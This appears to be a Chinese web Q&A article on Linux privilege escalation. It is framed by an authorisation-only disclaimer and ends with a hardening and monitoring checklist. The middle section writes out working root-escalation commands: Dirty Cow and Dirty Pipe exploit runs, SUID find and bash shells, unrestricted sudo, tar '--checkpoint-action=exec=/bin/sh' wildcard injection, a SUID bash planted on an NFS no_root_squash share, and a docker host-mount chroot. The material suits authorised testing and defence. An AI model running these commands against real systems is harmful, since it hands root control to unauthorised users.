温馨提示×

如何利用Linux漏洞提升系统权限

小樊
38
2025-12-29 16:44:50
栏目: 网络安全

合规与安全声明 以下内容仅用于获得系统所有者的明确授权的安全测试、审计与加固演练,严禁用于未授权的渗透或攻击。任何未经授权的提权行为都可能违反当地法律并造成损害与损失。

标准流程与信息收集

  • 明确测试边界与授权范围,准备可回滚与可审计的操作方案。
  • 系统识别与版本确认:
    • 查看内核与发行版:uname -acat /etc/os-releasecat /etc/issue
    • 查看当前用户与组:idgroups
  • 快速枚举脚本与本地提权建议器:
    • Linux Exploit Suggester 系列(LES、LES2):基于内核/发行版匹配潜在本地提权漏洞与EXP。
    • 辅助脚本与手工命令结合,形成“版本→潜在漏洞→验证路径”的闭环。

常见本地提权路径与要点

  • 内核漏洞提权
    • 思路:确认内核与发行版→匹配历史本地提权漏洞→在受控环境验证EXP稳定性→评估对生产系统的风险(可能导致崩溃/数据损坏)。
    • 代表案例:
      • Dirty Cow(CVE-2016-5195):影响广泛,低权限可写只读映射,示例命令:gcc -pthread dirty.c -o dirty -lcrypt;./dirty(仅在授权环境复现)。
      • Dirty Pipe(CVE-2022-0847):影响Linux 内核 ≥ 5.8,在5.16.11/5.15.25/5.10.102起修复;可稳定覆写可读文件(如**/etc/passwd**或SUID程序),示例:gcc -o dirtypipez dirtypipez.c;./dirtypipez /usr/bin/su。
  • 配置错误类提权(无需内核漏洞)
    • SUID 滥用:find / -perm -u=s -type f 2>/dev/null;若发现find等SUID程序,可:find /tmp -exec /bin/sh -p ; -quit;或利用bash -pvim等SUID程序执行特权命令。
    • sudo 配置不当:sudo -l 若见 NOPASSWD: ALL 或弱规则,可直接:sudo /bin/bash 或 sudo su -。
    • 计划任务(Cron):cat /etc/crontab、crontab -l、ls -la /etc/cron*;若脚本可写,注入提权命令;若任务使用tar等含通配符的命令,可构造“–checkpoint=1 --checkpoint-action=exec=/bin/sh”实现命令注入。
    • NFS no_root_squash:showmount -e ;挂载后在共享目录创建SUID bash:cp /bin/bash /mnt/shell && chmod u+s /mnt/shell;目标机执行 /mnt/shell -p 获取root。
    • Docker 组:id | grep docker;若用户在docker组,可:docker run -v /:/mnt -it alpine chroot /mnt bash 直接获得root上下文。

近期需重点关注的提权风险

  • sudo 本地提权漏洞(CVE-2025-32462、CVE-2025-32463)
    • 影响版本:sudo 1.9.14–1.9.17(CVE-2025-32463,chroot相关)与 1.8.8–1.8.32、1.9.0–1.9.17(CVE-2025-32462,host相关)。
    • 修复:升级至 sudo ≥ 1.9.17p1;临时缓解(无法立即升级时)可注释含chroot/host的高危规则并限制相关命令,但强烈建议尽快升级。
  • PAM 与 udisks2 组合链(CVE-2025-6018、CVE-2025-6019)
    • 影响与链条:CVE-2025-6018 通过 PAM user_readenv=1 导致 SSH 普通用户可获 allow_active;CVE-2025-6019 借助 udisks2/libblockdev 在挂载恶意 XFS 镜像时缺失 nosuid/nodev 限制,获得SUID-root Shell
    • 修复:更新 PAM/udisks2/libblockdev;将 Polkit 的 org.freedesktop.udisks2.modify-deviceallow_active 调整为 auth_admin;审计 /etc/pam.d/* 中 pam_env 配置。

防护与检测清单

  • 及时更新:内核、sudo、PAM、udisks2、libblockdev 与容器基础镜像,遵循发行版安全公告与及时补丁策略。
  • 最小权限:
    • 谨慎授予SUID/SGID;定期审计 find / -perm -u=s -type f 2>/dev/null 的结果。
    • 精细化 /etc/sudoers 与 /etc/sudoers.d/,避免 NOPASSWD: ALL 与高危命令(如 chroot/host)的过度授权;变更后用 visudo -c 校验。
  • 加固计划任务与共享服务:
    • Cron 脚本与目录采用最小权限完整性校验;避免通配符直接拼接命令,必要时使用绝对路径与受限环境。
    • NFS 共享默认启用 root_squash,严禁在生产环境开启 no_root_squash
    • 容器与虚拟化:避免将普通用户加入 docker 组;容器镜像内移除不必要的 SUID 二进制。
  • 监测与审计:集中收集与分析 /var/log/auth.log、sudo 日志与系统调用审计(如 auditd),对异常 sudo、可疑 SUID 文件、异常挂载与定时任务变更设置告警。

0